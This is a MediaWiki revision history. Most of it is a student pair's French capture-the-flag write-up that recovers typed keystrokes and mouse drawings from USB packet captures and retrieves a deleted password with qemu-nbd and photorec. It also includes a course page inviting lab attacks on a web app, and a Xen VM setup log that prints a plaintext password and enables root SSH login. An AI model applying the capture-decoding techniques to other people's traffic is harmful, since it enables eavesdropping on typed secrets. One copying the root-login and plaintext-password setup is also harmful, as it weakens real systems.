Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une <code>frame.len==71</code> car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58236Cyber 2021/2022 G32022-01-19T12:17:47Z<p>Lwadbled : /* Existe-t-il encore de vraies brutes ? */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.<br />
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'<br />
Le fichier a probablement été masqué grâce à la commande 'rm'<br />
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :<br />
$ photorec /dev/nbd0<br />
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.<br />
On trouve alors le MDP pour ouvrir l'archive<br />
<br />
= Spécialiste des écoutes =<br />
<br />
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.<br />
<br />
= Perçage de coffre =<br />
<br />
OK<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
OK<br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une <code>frame.len==71</code> car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58235Cyber 2021/2022 G32022-01-19T12:17:09Z<p>Lwadbled : /* Perçage de coffre */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.<br />
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'<br />
Le fichier a probablement été masqué grâce à la commande 'rm'<br />
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :<br />
$ photorec /dev/nbd0<br />
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.<br />
On trouve alors le MDP pour ouvrir l'archive<br />
<br />
= Spécialiste des écoutes =<br />
<br />
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.<br />
<br />
= Perçage de coffre =<br />
<br />
OK<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une <code>frame.len==71</code> car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58234Cyber 2021/2022 G32022-01-19T12:16:40Z<p>Lwadbled : /* Déjà vu */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.<br />
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'<br />
Le fichier a probablement été masqué grâce à la commande 'rm'<br />
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :<br />
$ photorec /dev/nbd0<br />
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.<br />
On trouve alors le MDP pour ouvrir l'archive<br />
<br />
= Spécialiste des écoutes =<br />
<br />
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.<br />
<br />
= Perçage de coffre =<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une <code>frame.len==71</code> car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58220Cyber 2021/2022 G32022-01-19T11:18:19Z<p>Lwadbled : /* Déjà vu */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.<br />
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'<br />
Le fichier a probablement été masqué grâce à la commande 'rm'<br />
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :<br />
$ photorec /dev/nbd0<br />
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.<br />
On trouve alors le MDP pour ouvrir l'archive<br />
<br />
= Spécialiste des écoutes =<br />
<br />
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.<br />
<br />
= Perçage de coffre =<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris. Et ensuite ?</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58219Cyber 2021/2022 G32022-01-19T10:55:51Z<p>Lwadbled : /* Spécialiste des écoutes */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.<br />
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'<br />
Le fichier a probablement été masqué grâce à la commande 'rm'<br />
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :<br />
$ photorec /dev/nbd0<br />
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.<br />
On trouve alors le MDP pour ouvrir l'archive<br />
<br />
= Spécialiste des écoutes =<br />
<br />
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.<br />
<br />
= Perçage de coffre =<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris.</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58213Cyber 2021/2022 G32022-01-19T09:29:31Z<p>Lwadbled : /* Déjà vu */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
= Spécialiste des écoutes =<br />
<br />
= Perçage de coffre =<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris.</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58212Cyber 2021/2022 G32022-01-19T09:27:54Z<p>Lwadbled : /* Déjà vu */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
= Spécialiste des écoutes =<br />
<br />
= Perçage de coffre =<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code>, on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code>, on voit que le périphérique utilisé est une souris.</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58211Cyber 2021/2022 G32022-01-19T09:13:40Z<p>Lwadbled : /* Espion dans le bus */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
= Spécialiste des écoutes =<br />
<br />
= Perçage de coffre =<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
= Déjà vu =</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58209Cyber 2021/2022 G32022-01-19T08:54:49Z<p>Lwadbled : /* Espion dans le bus */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le mdp.<br />
<br />
= Travail de serrurerie =<br />
<br />
= Spécialiste des écoutes =<br />
<br />
= Perçage de coffre =<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
= Déjà vu =</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58197Cyber 2021/2022 G32022-01-18T13:11:11Z<p>Lwadbled : /* Espion dans le bus */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le mdp.</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58183Cyber 2021/2022 G32022-01-18T12:01:42Z<p>Lwadbled : /* Espion dans le bus */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées.</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58182Cyber 2021/2022 G32022-01-18T11:57:15Z<p>Lwadbled : /* Espion dans le bus */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées.</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58181Cyber 2021/2022 G32022-01-18T11:56:08Z<p>Lwadbled : /* Flocons */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
Sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées.</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58180Cyber 2021/2022 G32022-01-18T11:55:35Z<p>Lwadbled : /* Espion dans le bus */</p>
<hr />
<div>= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
Sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées.</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58179Cyber 2021/2022 G32022-01-18T11:54:10Z<p>Lwadbled : /* Flocons */</p>
<hr />
<div>= Flocons =<br />
<br />
= Espion dans le bus =</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58167Cyber 2021/2022 G32022-01-18T11:19:27Z<p>Lwadbled : /* Debut */</p>
<hr />
<div>= Flocons =</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58158Cyber 2021/2022 G32022-01-18T11:13:20Z<p>Lwadbled : Page créée avec « = Debut = »</p>
<hr />
<div>= Debut =</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Option_Cybers%C3%A9curit%C3%A9_2021/2022&diff=58154Option Cybersécurité 2021/20222022-01-18T11:10:55Z<p>Lwadbled : /* Répartition des binômes */</p>
<hr />
<div>== Documents ==<br />
<br />
Le module de cybersécurité se présente sous la forme d'un certain nombre d'énigmes ou de puzzles à résoudre.<br />
<br />
Vous avez ici la liste des supports correspondants :<br />
* Pour tous les participants un [https://ctf.plil.fr/challenges?category=option-cyberscurit-20202021 "jeu du drapeau"] comportant 10 niveaux. Certains niveaux sont difficiles mais pas compliqués et ne demandent donc pas d'expertise particulière en informatique, électronique ou traitement du signal. D'autres niveaux sont clairement compliqués, tentez !<br />
* Pour ceux qui n'en ont pas déjà eu l'occasion, essayez de pénétrer sur le serveur de l'application Web [http://honey.plil.info]. Comme seule indication il vous est indiqué que le mot de passe de l'administrateur suit le même tropisme que celui des machines Zabeth. A vous de tester les attaques habituelles sur les sites Web utilisant des bases de données.<br />
* Attaques réseau : [[Manipulations Web et Mail]]<br />
* Attaques objects connectés : Vous disposez d'un "réseau" d'objets composé d'un Arduino Uno standard et d'un émetteur/récepteur FSK RFM69HCW. Plusieurs programmes transmettant des données peuvent être implantés sur les Arduino. Le but est de rechercher la clé de chiffrement et/ou les données envoyées. Pour cela, vous aurez physiquement accès à l'objet connecté pour pouvoir tenter de dumper la mémoire, lire des bus, ou intercepter le flux de donnée radio.<br />
<br />
Les supports de cours sont disponibles à l'adresse [http://www.cyberedu.fr/pages/supports/]<br />
<br />
== Répartition des binômes ==<br />
<br />
Ecrivez vos noms sous le format exact "Prénom NOM", séparez vos noms par des virgules.<br />
<br />
{| class="wikitable"<br />
! Projet !! Elèves<br />
|- <br />
| [[Cyber 2021/2022 G1]] || Axel CHEMIN, Alexandre RENAU<br />
|-<br />
| [[Cyber 2021/2022 G2]] || Souleymane Sow, Selim Bensalem<br />
|-<br />
| [[Cyber 2021/2022 G3]] || Clément GODET, Louis WADBLED<br />
|-<br />
| [[Cyber 2021/2022 G4]] || Prénom NOM, Prénom NOM<br />
|-<br />
| [[Cyber 2021/2022 G5]] || Prénom NOM, Prénom NOM<br />
|-<br />
| [[Cyber 2021/2022 G6]] || Prénom NOM, Prénom NOM <br />
|-<br />
| [[Cyber 2021/2022 G7]] || Prénom NOM, Prénom NOM<br />
|-<br />
| [[Cyber 2021/2022 G8]] || Prénom NOM, Prénom NOM<br />
|-<br />
| [[Cyber 2021/2022 G9]] || Prénom NOM, Prénom NOM<br />
|-<br />
| [[Cyber 2021/2022 G10]] || Prénom NOM, Prénom NOM<br />
|-<br />
|}</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&diff=58066TP sysres IMA5 2021/2022 G62022-01-12T16:01:10Z<p>Lwadbled : /* Intrusion sur un serveur d’application Web */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
=Création de la machine virtuelle=<br />
<br />
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :<br />
<br />
$ export http_proxy=http://proxy.plil.fr:3128<br />
<br />
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.<br />
<br />
$ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.<br />
<br />
$ lvcreate -L10G -n Bellerose1 storage<br />
$ lvcreate -L10G -n Bellerose2 storage<br />
<br />
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :<br />
<br />
$ mkfs.ext4 /dev/storage/Bellerose1<br />
$ mkfs.ext4 /dev/storage/Bellerose2<br />
<br />
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.<br />
<br />
$ vim /etc/xen/Bellerose.cfg<br />
disk = [<br />
'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',<br />
'phy:/dev/storage/Bellerose1,xvda3,w',<br />
'phy:/dev/storage/Bellerose2,xvda4,w'<br />
]<br />
vif = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]<br />
<br />
On peut maintenant lancer notre machine virtuelle :<br />
<br />
$ xl create -c /etc/xen/Bellerose.cfg<br />
<br />
Avec la commande :<br />
<br />
$ cat /etc/fstab<br />
<br />
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :<br />
<br />
$ mkdir /mnt/xvda3<br />
$ mkdir /mnt/xvda4<br />
$ mount /dev/xvda3 /mnt/xvda3<br />
$ mount /dev/xvda4 /mnt/xvda4<br />
<br />
Puis on déplace le répertoire var dans le disque xvda4 :<br />
<br />
$ mv /var/* /mnt/xvda4<br />
<br />
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :<br />
<br />
# /home vers xvda3<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
# /var vers xvda4<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
On monte le tout à l'aide de la commande :<br />
<br />
mount -a<br />
<br />
Enfin avec lsblk, on peut voir les deux partitions de notre VM :<br />
<br />
$ lsblk<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
<br />
Enfin, nous activons l'IPv6 sur l'interface en modifiant <code>/etc/network/interfaces</code><br />
<br />
iface eth0 inet6 auto<br />
<br />
Pour quitter la VM : CTRL+]<br />
<br />
= Services Internet =<br />
<br />
== Serveur SSH ==<br />
<br />
$ apt install openssh-server<br />
<br />
on édite le fichierde conf <code>/etc/ssh/sshd_config</code> (via ssh key) :<br />
<br />
PermitRootLogin without-password // je l'ai repassé en "yes" suite au mail et le mdp root est celui de pifou habituel <br />
PubkeyAuthentication yes<br />
<br />
après on reload la conf<br />
<br />
$ systemctl reload ssh<br />
<br />
